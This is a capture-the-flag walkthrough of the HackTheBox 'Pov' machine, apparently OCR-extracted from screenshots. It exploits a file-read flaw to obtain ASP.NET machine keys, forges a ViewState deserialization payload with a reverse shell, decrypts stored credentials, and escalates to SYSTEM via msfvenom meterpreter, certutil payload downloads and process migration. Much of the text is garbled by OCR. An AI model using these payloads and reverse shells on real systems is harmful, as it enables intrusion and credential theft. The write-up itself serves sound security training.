Pov
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g ¢

IP: 10.129.24.147

Info Gathering

Initial Setup

# Make directory to save files
~/HTB/Boxes/Pov
~/HTB/Boxes/Pov

# Open a tmux session
tmux new -s Pov

# Start logging session
Prefix-Key) CTRL + b, SHIFT + P

# Connect to HackTheBox OpenVPN
openvpn /etc/openvpn/client/lab tobor.ovpn

# Create Metasploit Workspace
msfconsole

workspace -a Pov

workspace Pov

setg LHOST 10.10.14.74

setg LPORT 1337

setg RHOST 10.129.24.147

setg RHOSTS 10.129.24.147

setg SRVHOST 10.10.14.74

setg SRVPORT 9000

use multi/handler

Enumeration

# Add enumeration info into workspace
db nmap -sC -sV -0 -A 10.129.24.147 -oN pov.nmap

Hosts

address name 0S_name

10.129.24.147 Windows 2019
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os_flavor

0S_Sp purpose

server



Services

Services

host port proto name state 1info

10.129.24.147 80 tcp http open Microsoft IIS httpd 10.0

Gaining Access

In my nmap scan | can see the hostname resolves to pov.htb
Screenshot Evidence

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-title: [ XA1ids
| http-methods:
Potentially risky methods: TRACE

| added it to my /etc/hosts file

# Edit file
vim /etc/hosts
# Add line
10.129.24.147 pov.htb

Visiting the site | can see there i another vhost name dev.pov.htb
Screenshot Evidence

class~"
class="
class="
class="
class="
<p class=
If you want to know more about who is behind this project you can check my profile 2

< class~"

| added this to my hosts file

# Edit file
vim /etc/hosts
# Modify line too
10.129.24.147 pov.htb dev.pov.htb

Screenshot Evidence
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— )-[~/HTB/Boxes/Pov |
—% cat /etc/hosts

127.0.0.1 localhost
127.0.1.1 kali
10.129.24.147 pov.htb dev.pov.htb

When visiting those sites in Burpsuite | noticed an entry appeared for dev.pov.htb on port 8080 which is not open
on my port tests

Screenshot Evidence

@ http://dev.pov.htb
[[dev.pov.htb:8I
@ http://pov.htb

There is no response in Burp or when | use curl
Screenshot Evidence

Response

Raw

3 Accept-Encod
Accept: #*/#

> Accept-Language:
6 User-Agent: Mozill .0 (Windo 0.0; Win64; x64)
AppleWebKit / 36 (KHTML, like Gecko) Chrome/121.0.6167.85

Connection: « 3
5 Cache-Control: max-age=0

Clicking around dev.pov.htb | discover there is a “Download CV"” button that downloads a PDF from the server
Screenshot Evidence

TR ANt § PN LW LI ) ]\J\_C LA A~

the button below.

| turned on intercept in Burp and clicked the button. | sent the request to Burps Repeater and forwarded it before
turning off intercept again

Screenshot Evidence
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Forward rop Intercept is on Open browser

Raw Hex

POST /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/avif,image/webp
Accept -Language: en-US,en;g=0.5
6 Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-url
3 Content-Length: 361
) Origin: http://dev.pov.htb
0 Connection:
Referer: http://dev.pov.htb/portfolio/default.aspx
Upgrade-Insecure-Requests: 1

__EVENTVALIDATION=101cVchptcAUd87XycDdZXsAPOmMHSN2IfQ81I1gtygP4mFGL1tDMTdELICwwOoOhU

In the request there is a file parameter for cv.pdf which gets download which may be a Local File Inclusion
| changed the value to see if | can download web.config which is an IIS configuration file that may be in that same
directory location

Simply setting the value web.config requires a reidrect.
| was able to avoid that using the below payload /web.config

__EVENTTARGET=download&_EVENTARGUMENT=&__ VIEWSTATE=AH80)x6ad9YoLDQDgGiB6weyw23RDCFP9ei7wmbkN%2Bi%2B%2FTtc87
GhpgSx2MgLUTIs7WMyHMCqOVukmuNtG5BZwdiSxnk%3D&__VIEWSTATEGENERATOR =8EOFO0FA3&__ EVENTVALIDATION=iOicVchptcAUd87Xy-
cDdZXsAPOMHSN21fQ8IligtygP4mFGIIitDMTAEIICww000hU2B22KB5y9tjEw 1pP%2B00% 2F mXpEeF gomoGfkVPUbou5MUTI%2Bu7hmynxf%2F-
syjDdQOjz6LcvoQw % 3D% 3D&file=/web.config

Screenshot Evidence

Request

In the web.config file is critical information about the server in this case.
The POST request being used includes a value for ViewState

ViewState serves as the default mechanism in ASP.NET to maintain page and control data across web pages.
During the rendering of a page's HTML, the current state of the page and values to be preserved during a
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postback are serialized into base64-encoded strings.
These strings are then placed in hidden ViewState fields.

The .NET Framework being used is 4.5

For versions 4.5 and above, all combinations of MAC and Encryption (whether both are true, or one is true and
the other is false) necessitate a MachineKey.

The MachineKey can be identified using "Blacklist3r."

REFERENCE: https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting- _viewstate-parameter#test-
case-4-.net-greater-than-4.5-and-enableviewstatemac-true-false-and-viewstateencryptionmode-true

In Test Case 4 in the above reference we do not need to specify the target 4.5 framework version because it is
already defined.

| can use ysoserial.net on Windows to serialize my exploit

SOURCE: https://github.com/pwntester/ysoserial.net

DOWNLOAD LINK: https://github.com/pwntester/ysoserial.net/releases/download/v1.36/
ysoserial-1dba9c4416babe79b6b262b758fa75e2ee€9008e9.zip

# On Windows

mkdir C: “aliShare

Set-MpPreference -ExclusionPath C: ‘aliShare

# Download ysoserial and save it there then unzip it

Expand-Archive -Path C: aliShare' /soserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip -Destination .
cd Release

| generated a powershell reverse shell that executes a base64 encoded string using this generator for ease
GENERATOR: https://www.revshells.com/

| then used ysoserial to generate a payload that executes the shell hosted on my attack machine

# Command Executed

soserial.exe -p ViewState -g TextFormattingRunProperties --decryptionalg="AES" --
decryptionkey="74477CEBDDO9D66AADAABCEB5082A4CFIAISBESAA94F6F80D5ES22F347183B43" - -validationalg="SHAL" --
validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFALEDE22213BECEB55BA3CF576813C3301FCBO7018E6O5E7
B7872EEACE791AAD71A267BC16633468" --path="/portfolio/default.aspx" -c "powershell -e
JABjAGwAaQB1AG4AdAAgADOATABOAGUAdwAtAESAYgBgAGUAYWBOACAAUWB5AHMAJABTAGOALgBOAGUAJAAUAFMAbWB j AGSAZQBOAHMALgBUAE -
MAUABDAGwAaQB1AG4AdAAOACIAMQAWACAAMQAWACAAMQAOACAANWAOACIALAAXADMAMWA3SACKAOWAKAHMAJABYAGUAYQBTACAAPQAGACQAYWBS -
AGKAZQBUAHQALgBHAGUAJABTAHQACgBTAGEAbQAOACKAOWBbAGIAeQBOAGUAWWBAAFOAJABIAHKAJABTAHMATIAA9ACAAMAAUACAANGATADUAMW -
A1AHWAJQB7ADAATQA7AHCAaABPAGWAZQAOACgAJABPACAAPQAgACQACWBOAHIAZQBhAGOALgBSAGUAYQBKACgAIABiAHKAJABTAHMALAAQADAA -
LAAgACQAYgB5AHQAZQBZzACAATABLAG4AAZWBOAGYAKQAPACAAL QBUAGUATAAWACKAewA7ACQAZABhAHQAYQAGADOATAAOAE4AZQB3ACOATWBiAG-
0AZQBjAHQAIAAtAFQAeQBWAGUATgBhAGOAZQAgAFMAeQBzAHQAZQBtAC4AVABTAHGAdAAUAEEAUWBDAEKASQBFAG4AYWBVAGQAaQBUAGCAKQAU -
AECAZQBOAFMAJABYAGKAbgBnACgAJABiAHKAJABTAHMALAAWACWATAAKAGKAKQA7ACQACWBTAGAAZABiAGEAYwWBrACAAPQAgACgAaQBTAHgATA -
AKAGQAYQBOAGEATIAAYAD4AJgAXACAATAAGAESAdQBOACOAUWBOAHIAAQBUAGCATIAAPADSAJABzAGUAbgBKAGIAYQBjAGSAMgAgADOATAAKAHMA -
ZQBUAGQAYgBhAGMAawAgACSATIAAIAFAAUWAQACIAIAArACAAKABWAHCAZAAPACAAUABhAHQAAAGACSATAAIADAATAAIADSAIABzAGUAbgBKAG-
TAeQBOAGUATIAA9ACAAKABbAHQAZQB4AHQALgB1AG4AYwWBVAGQAaQBUAGCAXQA6ADOAQQBTAEMASQBIACKALgBHAGUAJABCAHKAJABTAHMAKAAK -
AHMAZQBUAGQAYgBhAGMAawAyACkAOwWAKAHMAdABYAGUAYQBtAC4AVwWBYAGKAdABTACgAJABZzAGUAbgBkAGIAeQBOAGUALAAWACWAIABZAGUADG -
BKAGIAeQBOAGUALgBMAGUAbgBNAHQAaAAPADSAIABzAHQACgBLAGEADQAUAEYADAB1AHMAaAACACKATQA7ACQAYWBSAGKAZQBUAHQALgBDAGWA -
bwBzAGUAKAApAA=="

Screenshot Evidence
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https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter#test-case-4-.net-greater-than-4.5-and-enableviewstatemac-true-false-and-viewstateencryptionmode-true
https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter#test-case-4-.net-greater-than-4.5-and-enableviewstatemac-true-false-and-viewstateencryptionmode-true
https://github.com/pwntester/ysoserial.net
https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip
https://github.com/pwntester/ysoserial.net/releases/download/v1.36/ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9.zip
https://www.revshells.com/

%2By2

yAhzBSph

Qnruliro4

Payload Text

eOhMKo6QPLb4kaiR 7mGrMLhiViGjsIQ7DFck4gplewpSvplW80Y6wDo3XJPOnlaNmD%2Bg4reTiT%2BIAhsMzIgfUWNS1TnLGKr% 2FT60sbMN7W-
OHxvakvrxJrtdTmVQmTvUdkQDwaYYwqykW4FocezTsUdbpQ9cMazGVjIFdPTI6gEHXVFZx2gtKRqTVFxcUgfGPb%2F 2eYRYq60cwHPJj4ZeNQOe-
kHzfBlImcso3nZxPmFOyO0iLAV8B7KK% 2F 1IAWR50GIAfvfCuzliKNjnQsBND6WLgtYZxdh040bQd4RwRkUXtxaJxN%2BVS3TIGt6jNgF Z57SuusbSrF-
Ymgu2amw6wreTE6Txgmt8IMtlygTZo4pkPzzUa2XcJaGRLRwigeGBb%2BRNHgOTLGGavIXLbtF2H00%2FWHO02slIPgrdnhOSZOOFhMYhIn%2F %
2BjApNnUgewBRUN2uZ6AqVFXWo6RTN7w2TeR % 2FVCPt80zfnadH5cY74iCzCydZGISW1a%2BKVVqTs4NItsbjPVAKLZGg12bjF9rmAybGng312dd-
TSsRFzJxV8gYRKOwWN00ijSmV8jUK3XDBUGjpV6UzS1xL%2BvOi9RAtIs3TONqZV7ROPSkSC%2F QF LFb%2F fWadLTCrl9HONMe3yRRjSDVFTY6ZtRz-
dallEgaTb9mOaD5BVprdwEiDrDAbD4yqi0t% 2F nifcNttu1BBgtyg0VphakWN%2Fb%2FIJCEQQ%2B2y 3t% 2F nqriKkvd6ocvx2acge%2BtoW2fIMUJ-
pmksL630Tc9T3AIVgKNOZixISHED5GpwbPhba)JOKmyF9HP7sIbDmjLcYcXk1nsEUwWETOw 67j8X7rN05j%2F HzPz5)%2BoPw 71TOI09vyWiv0eSU6
U2UnDK4URG6RaY%2F5iyzmAqgetllww03u6kDhMSdc7Q66jd4% 2F 4vw KKKtdigmQDzPBorLYgbshn8IxtG4kopNE%2BhQQpS01mX9ZQLo0%2Fm-
HVs17blYz%2FSTDmn5nHe4w 14CQrtPTEyAtGOeUchpz3xoeuOCmmiNeRPeH%2BKMUsMa9Z0XfqOn%2F xfBJxY1t3NN5mhtDkh38TonBZi4Su-
G56zT4Edw2k02ST1nTkpNe0X0anrE63b8V3tRv3tmCn3FwULoIbC%2BwsPNhNfjOUWuU%2BLAdTq32t4tczKINXz%2Fny 1nyvSIhXaAFB8I2UBRsx-
GFHFrgs%2FA7AF8rTFPyAXwsQlo1lcUfyu2dfb%2Bfl%2F81chKailU9h7JcOH1jxwwUt93EC2RVmMJW7Nj5vxWcfggrlI5Tv7SOW4uxIftgb4mKKJsAQuj
%2B71AkM9sb1qtp8cGTuLfumHM%2B9cdVtLIYdyzZWUH5reP70r2hmx3xULhiuAjsLKeGI619ICZ41zrD2hKWvQBPh1nw3aCSIsBmkrBDgKmSTwmx-
kYxbaJWDgn1lYEnjZymL1Nk%2BamTUnT9xBVXPmXoKBr5uPryzlzfFoYHGgXtILk 3i0a6ubepEIWBRpDR6TNQXjge5bBynm5qg3YkjEam%2BsUOP)-
Goqgm5wfTNCfekYUTr8dIFd%2FWEZhqprQ8ytF % 2Fdf91plpVseVLqw LzHXcfqlUgTyNOOCU9etBX23LBpK44PfBXxrvDOXGW22upzRIQUMLKHW-
wcxPKjXxZEbJv%2BrEBQPZyeZ27WbEoGZbgdonMJY3alYquQ4nK%2BiY%2FMbhCBHfV7kB31uRQweGfEscUZ9tQf51ual3esmCICpxd9gyiOsMIv-
Wxg2XNpmttOUCBVNpGvJbN1YjX]qJ9dD68ebkZUVERHj7Np8wAR Oy %?2B%2F OVQzLzU0jdg9BzkT1%2BhUd%2B5)cn8pRzYV%2BvE2R4Kymmz-
VapOAsIrC8ibzKE%2BsRYh2F 2VArpOH%2BTNYbINbu4faD3KIASsOWhigv3THSFqSBv86tFelBS)GtRxDG51paGGJy LaltnEA%2F8EaOSI9elxwDaZzI2
UoubNoGeNTsUH97DShdNqri6PoHZORvf5iUh3f8xgWeLgNHQT5gNk6xC5HzDNn1UTBNgGDO8pbAtSTEK2I3ixpn%2BlzyB7rvajY%2BK8vw9PdV-
egMbj%2Br8kBOcb4kS0%2F%2BDSID%2F6DL7skC2k1ws4aS1dcfOPVK%2BDvW1sg4qaScAkUYdW6yzOqGeMmTKIuzCyWIvrhxe8WZYOt6BC1
1zNRslINwcBtD7lweSBHakpg512MhOk51InKS2peZunlL%2FtRmEGr50Y)Sbw QSxjyvY % 2F PiElvMAuU201D601Vh518rcQZDik 6vATZjQGR Qr% 2Begs-
vsupUSdpfGZuoAp6Q6f%2Bayijil%2BGUKAw jJf8pE4ZsasTO6Lz0gkiX0XeW55NENxS%2BLiIb6mQQj5ADs1yH;ji4VGCXqHw 76 Fg9BW)6TxEs9x5ke9
WN5JkleVyKfT04xmnfo2xMk% 2FIBMHEVKAs53PXfujAEjPufegXweFv3JuP5iEXiRcmTAfAN9Bzuj0z60R kJA%2FuoLnpYUi8N7zEvYoc8NXr8nifLUNOK-
STrFIhy AEGa% 2F 7u2J0SfNuXbfjlOQI8ew9wR qKnigUP1FKy LOmHbS6dB9a%2F qyclo5HurbgZaRAPjIPo3IrVNfY)J0z7R BofzoDKWc2G90i9y rgQw of-
gvk0c7wIC6%2B4iJE5qjSVIN7LBSsv%2BJjOPzXrU186qJfONaG074z%2By2u9wE%2FKweMx7)biSSgk 3JW8jIfOSFxnm9SjodLemgMo3uEXyITmN5X-
ZTQNIGhD9C5%2BBPY18DPEQ2XP%2BbUpwOgvLEVMHAGTEZZuU0jD70% 2F PyAhzBSphSIzhKgmRrr5x22b3%2BThttPv]ql4EtMPPdGk%2Ft2nb-
LvBGHb8LXX2IKEUME72l11RAe1nNj61xhYzxG4MjfzeE045QD8Kgm19zFa9ys% 2BI1ioQnruWrO4R5b9Akuj5vbixn3JXPgBKItkc6ypERFqGx3QAgw-
YOUiDNnqt8gbX%2B4a4ralOUYxj7feUqY1MZ64QyNWCUmn9rgF Dw30XUxSu%2BCFI3IPaUqfQBtLWbtBnGHp2rzbh9g88K714UxWgjeqBPI%2BuN-
72kb5x1PWI8FcLO40h44p0JRNQ2N5zSHA9QGIdRDXth1nra2CMLNVLKT2gg4AAVZeUzBmaK55BcrApoKK%2Bw 3gNJgEaEvP%2FbOzWbv07Bw %
3D%3D

| started a listener

# Metasploit Way
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use multi/handler
LHOST 10.10.14.74
LPORT 1337

run -j

# Or netcat way
nc -lvnp 1337

| started Burpsuites Intercept and clicked the “Download CV” button to catch the request
| pasted in the ysoserial generated payload for the __ VIEWSTATE parameter

Screenshot Evidence

| then forwarded the request which caught the shell
Screenshot Evidence
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msf6 exploit( ) > sessions -i 1
Starting interaction with 1 ...

PS C:\windows\system32\inetsrv> hostname
pov

PS C:\windows\system32\inetsrv> whoami
pov\sfitz

PS C:\windows\system32\inetsrv> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::108
IPv6 Address. . . . . . . . . . . : dead:beef::7b27:2037:dc2d:5ffc
Link-local IPv6 Address . . . . . : fe80::46fd:b488:a40f:2c3b%4
IPv4 Address. . . . . . . . . . . & 10.129.24.147
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:2bb5%4
10.129.0.1
PS C:\windows\system32\inetsrv>

In the sfitz Documents directory is a file called connection.xml
Turns out this is a credential file

# Command Executed
C: !sers -fitz "ocuments' connection.xml

Screenshot Evidence

PS C:\Users\sfitz> type Documents/connection.xml
<0Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"
<0Obj ReflId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118¢7a00c04fc297eb01000000cdfb5434¢
627255768e65ae76e179107379a964fa8ff156cee2100000000028000000002000020000000c0bd§
e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240004
9326¢c786317447330113c5cfa25bc86fb0cbeleddab</SS>
</Props>

| can read the password in the credential objects Network password

# Commands Executed
= Import-CliXml -Path Documents' connection.xml
.Password




# RESULTS
89Q8fynP44ek1m3

Screenshot Evidence

PS C:\Users\sfitz> $Cred = Import-CliXml -Path Documents\connection.xml
PS C:\Users\sfitz> $Cred.GetType()

IsPublic IsSerial Name BaseType

True True PSCredential System.Object

PS C:\Users\sfitz> $Cred.GetNetworkCredential().Password

f8gQ8fynP44ekim3

PS C:\Users\sfitz> |

USER: alaading
PASS: f8gQ8fynP44ek1lm3

To elevate my privileges | used these credentials to execute a reverse shell
| started a listener

# Metasploit Way

use multi/handler
LHOST 10.10.14.74
LPORT 1338

run -j

| generated another payload using LPORT 1338 at https://www.revshells.com/

# Commands Executed

= Import-CliXml -Path
Invoke-Command -ComputerName localhost -Credential -ScriptBlock {powershell -e
JAB;jAGwAaQB1AG4AdAAgADOATABOAGUAdwATAEBAYgBGAGUAYWBOACAAUWB5AHMAJABTAGOALgBOAGUAJAAUAFMADbWB j AGSAZQBOAHMALgBUAE -
MAUABDAGwAaQB1AG4AdAAOACIAMQAWACAAMQAWACAAMQAOACAANWAOACIALAAXADMAMWA4ACKAOWAKAHMAJABYAGUAYQBTACAAPQAGACQAYwWBS -
AGKAZQBUAHQALgBHAGUAJABTAHQACgBTAGEADbQAOACKAOWBbAGIAeQBOAGUAWWBAAFOAJABiAHKAJABTAHMAIAA9ACAAMAAUACAANGATADUAMW -
A1AHwWAJQB7ADAATQA7AHCAaABpAGWAZQAOACgAJABPACAAPQAgGACQACWBOAHIAZQBhAGOALgBSAGUAYQBKACgAJABIAHKAJABTAHMALAAQADAA -
LAAgACQAYgB5AHQAZQBzAC4ATABLAGAAZWBOAGGAKQAPACAALQBUAGUATIAAWACkAewA7ACQAZABNAHQAYQAGADOATAAOCAE4AZOB3ACOATWB1AG-
0AZ(QBjAHQAIAAtAFQAeQBwAGUATgBhAGOAZQAgAFMAeQBzAHQAZQBtAC4AVABTAHgAdAAUAEEAUWBDAEKASQBFAG4AAYWBVAGQAaQBUAGCAKQAU -
AECAZQBOAFMAdABYAGKAbgBnACgAJABiAHKAJABTAHMALAAWACWATIAAKAGKAKQA7ACQACWBLAG4AZABiIAGEAYWBrACAAPQAGACgAaQBLAHQAIA-
AKAGQAYQBOAGEAIAAYAD4AJIgAXACAATAAGAESBAdQBOACOAUWBOAHIAaQBUAGCAIAAPADSAJABZAGUAbgBKAGIAYQBjAGSAMgAGADOAIAAKAHMA -
ZQBUAGQAYgBhAGMAawAgACsATAAIAFAAUWAGACIATAArACAAKABWAHCAZAAPAC4AUABhAHQARAAGACSATAAIADAATAAIADSAIABZAGUAbgBKAG-
TAeQBOAGUAIAA9ACAAKABbAHQAZQB4AHQALgB1AG4AAYwWBVAGQAQQBUAGCAXQAGADOAQQBTAEMASQBIACKALgBHAGUAJABCAHKAJABTAHMAKAAK -
AHMAZQBUAGQAYgBhAGMAawAyACKAOWAKAHMAJABYAGUAYQBtAC4AVwBYAGKAdABTACgAJABZAGUAbgBKAGIAeQBOAGUALAAWACWAJIABZAGUADg -
BKAGIAeQBOAGUALgBMAGUAbgBNAHQAaAAPADSAJABzAHQACgBTAGEADQAUAEYADABIAHMAGAAOACKATQA7ACQAYwBSAGKAZQBUAHQALgBDAGWA -
bwBzAGUAKAApPAA==

This caught a shell as alaading
Screenshot Evidence
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https://www.revshells.com/

msf6 exploit( ) > sessions -1 1
Starting interaction with 1...

PS C:\Users\sfitz> $Credential = Import-CliXml -Path 'C:\Users\sfitz\Documents\connection.xml'
PS C:\Users\sfitz> Invoke-Command -ComputerName localhost -Credential $Credential -ScriptBlock {powd
BSAHMAJABLAGOALgBOAGUAdAAUAFMAbWB JAGSAZQBOAHMALgBUAEMAUABDAGWAaQBLAG4AdAACACTAMQAWAC4AMQAWACLAMQABA(
BuAHQALgBHAGUAJABTAHQACgB1AGEADQAOACKAOWBDAGIAeQBOAGUAWWBAAFOAIABIAHKAdABLAHMATAASACAAMAAUACAANGALAL
BhAGOALgBSAGUAYQBkKACgAJABIAHKAdABLAHMALAAgGADAALAAGACQAYgBSAHQAZQBZACAATABLAGAAZWBOAGEAKQAPACAALQBUA(
AtAFQAeQBwAGUATgBhAGOAZQAgAFMAeQBzAHQAZQBtAC4AVABTAHgGAdAAUAEEAUWBDAEKASQBFAG4AYWBVAGQAaQBUAGCAKQAUAL
BLAG4AZABiAGEAYwBrACAAPQAgACgAaQBTAHgATAAKAGQAYQBOAGEATAAYAD4AIGAXACAATAAGAEBAJQBOACOAUWBOAHIAaQBUA(
AgACSATAAIAFAAUWAGACIATIAArACAAKABWAHCAZAAPAC4AUABhAHQABAAGACSATAATADSATAAIADSAJABZAGUAbgBKAGIAeQBOA(
BJACKALgBHAGUAJABCAHKAdABTAHMAKAAKAHMAZQBUAGQAYgBhAGMAawAyACKAOWAKAHMAJABYAGUAYQBtACLAVWBYAGKAJABTLA(
BnAHQAaAApADSAJABzAHQACgBTAGEADQAUAEYADABIAHMAAAAOACKATQA7TACQAYwBSAGKAZQBUAHQALgBDAGWAbWB zZAGUAKAADPA
Command shell session 2 opened (10.10.14.74:1338 — 10.129.24.147:49677) at 2024-02-18 11:28:38

| was then able to read the user flag

# Command Executed
C: Users -laading "esktop' user.txt

# RESULTS
1d22f416f64e708d1bdfe2c81cfdb288

Screenshot Evidence

PS C:\Users\alaadiné\Documents> hostname
pov

PS C:\Users\alaading\Documents> whoami
povialaading

PS C:\Users\alaading\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix : .htb
IPv6 Address. . . . . . . : dead:beef::108
IPv6 Address. . . . . . . : dead:beef ::7b27:2037:dc2d:5ffc
Link-local IPv6 Address : fe80::46fd:b488:a40f:2c3b%4
IPv4 Address. . . . . . 10.129.24.147
Subnet Mask . . . . . . . : 255.255.0.0
Default Gateway . . . . : fe80::250:56ff:feb9:2bb5%4
10.129.0.1
PS C:\Users\alaading\Documents> type C:\Users\alaading\Desktop\user.txt

1d22f416f64e708d1bdfe2c81cfdb288
PS C:\Users\alaading\Documents>
USER FLAG: 1d22f416f64e708d1bdfe2c81cfdb288

PrivEsc

Checking my user privileges | can see | have SeDebugPrivilege but it is disabled
Screenshot Evidence




PS C:\Windows\System32\spool\drivers\color> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeDebugPrivilege is a special privilege that when assigned gives a token high integrity.

This is given to users of the Administrator’s group by default but can be handed out individually
This privilege is known to pass over certain Windows access checks

REFERENCE: https://jsecurity101l.medium.com/mastering-windows-access-control-understanding-
sedebugprivilege-28a58c2e5314

REFERENCE: https://woshub.com/obtain-sedebugprivilege-debug-program-policy-enabled/

There are multiple ways to enable this privilege such as psgetsys
TOOL: https://notes.morph3.blog/windows/privilege-escalation/sedebugprivilege

| am going to use RunasCS to gain a Meterpreter and desired privilege

# Generate Payload

msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.10.14.74 LPORT=1335 -f exe -0 /var/www/html
tobor.exe

# Start webserver
systemctl start apache2

| started a listener

# Metasploit Commnads

use multi/handler
LHOST 10.10.14.74
LPORT 1335

payload windows/x64/meterpreter/reverse tcp
run -j

| uploaded the RunasCs.exe and the payload to the target

# Commands Executed

C: indows' “ystem32 -pool ‘rivers color
certutil -urlcache -f http://10.10.14.74/RunasCs.exe RunasCs.exe
certutil -urlcache -f http://10.10.14.74/tobor.exe tobor.exe

Screenshot Evidence
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PS C:\Windows\System32\spool\drivers\color> dir

Directory: C:\Windows\System32\spool\drivers\color

LastWriteTime Length Name

9/15/2018 12:12 AM 1058 D50.camp

9/15/2018 12:12 AM 1079 D65.camp
9/15/2018 12:12 AM 797 Graphics.gmmp
9/15/2018 12:12 AM 838 MediaSim.gmmp
9/15/2018 12:12 AM 786 Photo.gmmp
9/15/2018 12:12 AM 822 Proofing.gmmp
9/15/2018 12:12 AM 218103 RSWOP.icm
2/18/2024 : RunasCs.exe
9/15/2018 : sRGB Color Spat
2/18/2024 : tobor.exe

| then ran the payload to catch the elevated shell

# Commands Executed
C: indows' “ystem32 -pool rivers color
.“unasCs.exe alaading f8gQ8fynP44eklm3 "C:\\Windows\\System32\\spool\\drivers\\color\\tobor.exe"

Screenshot Evidence

PS C:\Windows\System32\spool\drivers\color> .\RunasCs.exe alaading f8gQ8fynP44eklim3 "C:\

Sending stage (201798 bytes) to 10.129.24.147
Meterpreter session 3 opened (10.10.14.74:1335 — 10.129.24.147:49694) at 2024-02-18

Checking my privileges | can see RunasCs granted me SeDebugPrivilege
| used that privilege to migrate my Meterpreter session into the winologon process

# Meterpreter Commands
getprivs
winlogon
getuid
migrate 552
getuid

Screenshot Evidence
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meterpreter > getprivs

Enabled Process Privileges

Name

SeChangeNotifyPrivilege
SeDebugPrivilege
SeIncreaseWorkingSetPrivilege

meterpreter > ps winlogon
Filtering on 'winlogon'

Process List

PID PPID Name Arch Session User

552 472 winlogon.exe x64 1

meterpreter > getuid
Server username: POV\alaading
meterpreter > migrate 552
Migrating from 1360 to 552 ...
Migration completed successfully.
meterpreter > getuid
SISQTS IS ENE NT AUTHORITY\SYSTEM

meterpreter >
[HTE

| was then able to read the root flag

# Commands Executed

C: Users ‘dministrator lesktop' root.txt
#RESULTS

796162eeb3a775739b37e3b85bbc2656

Screenshot Evidence
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Path

C:\Windows\System32\winlogon.exe




meterpreter > shell
Process 4232 created.

Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
pov

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt

796f62eeb3a775739b37e3b85bbc2656

C:\Windows\system32>|
[HTB]

ROOT FLAG: 796f62eeb3a775739b37e3b85bbc2656
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